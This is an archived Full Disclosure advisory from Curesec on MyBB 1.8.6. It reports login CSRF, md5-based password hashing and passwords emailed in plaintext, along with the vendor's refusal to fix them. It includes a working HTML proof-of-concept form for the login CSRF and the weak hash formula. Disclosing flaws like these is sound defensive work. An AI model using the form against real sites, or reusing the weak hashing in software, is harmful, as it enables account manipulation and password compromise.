full-disclosure - [FD] MyBB 1.8.6: CSRF, Weak Hashing, Plaintext Passwords

Open Source and information security mailing list archives

Date: Thu, 15 Sep 2016 16:59:11 +0200
From: "Curesec Research Team (CRT)" <crt@...esec.com>
To: fulldisclosure@...lists.org
Subject: [FD] MyBB 1.8.6: CSRF, Weak Hashing, Plaintext Passwords

Security Advisory - Curesec Research Team

1. Introduction

Affected Product:    MyBB 1.8.6
Fixed in:            not fixed
Fixed Version Link:  n/a
Vendor Website:      http://www.mybb.com/
Vulnerability Type:  CSRF, Weak Hashing, Plaintext Passwords
Remote Exploitable:  Yes
Reported to vendor:  01/29/2016
Disclosed to public: 09/15/2016
Release mode:        Full Disclosure / Informational
CVE:                 n/a
Credits              Tim Coen of Curesec GmbH

2. Overview

MyBB 1.8.6 is vulnerable to login CSRF. Additionally, it stores passwords using
weak hashing, and sends passwords via email in plaintext.

3. Login CSRF

Description

CVSS: Low 2.6 AV:N/AC:H/Au:N/C:N/I:P/A:N

The login of MyBB does not have any CSRF protection. The impact of this is low,
but a victim could provide sensitive information under a fake account. An
example would be the accidental sending of a sensitive private message while
being logged into an account controlled by an attacker.

Additionally, a login CSRF makes it possible to exploit possible
vulnerabilities in the user area, such as XSS.

Proof of Concept

<html> <body> <form action="http://localhost/mybb_1806/Upload/member.php"
method="POST"> <input type="hidden" name="action" value="do_login" /> <input
type="hidden" name="url" value="http://localhost/mybb_1806/Upload/index.php" />
<input type="hidden" name="quick_login" value="1" /> <input type="hidden" name=
"quick_username" value="admin" /> <input type="hidden" name="quick_password"
value="admin" /> <input type="hidden" name="quick_remember" value="yes" />
<input type="hidden" name="submit" value="Login" /> <input type="submit" value=
"Submit request" /> </form> </body> </html>

4. Weak Hashing

Description

MyBB uses md5 for hashing passwords, which is not considered secure.

The hashing used is:

$hash = md5(md5($salt).md5($password));

5. Passwords Emailed in Plaintext

Description

When passwords are reset, the generated 8 character password is send to the
user via email in plaintext. It is suggested that users change these passwords,
but a change is not required.

It is recommended to use a password reset token instead, and to force the user
to create a new password themselves.

6. Solution

This issue was not fixed by the vendor.

7. Report Timeline

01/29/2016 Informed Vendor about Issue
02/26/2016 Vendor requests more time
03/11/2016 Vendor releases new version
03/15/2016 Requested information about unfixed issues
03/15/2016 Vendor considers issues minor and will not fix them for now
09/15/2016 Disclosed to public

Blog Reference:
https://www.curesec.com/blog/article/blog/MyBB-186-CSRF-Weak-Hashing-Plaintext-Passwords-161.html

--
blog:  https://www.curesec.com/blog
tweet: https://twitter.com/curesec

Curesec GmbH
Curesec Research Team
Josef-Orlopp-Straße 54
10365 Berlin, Germany

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives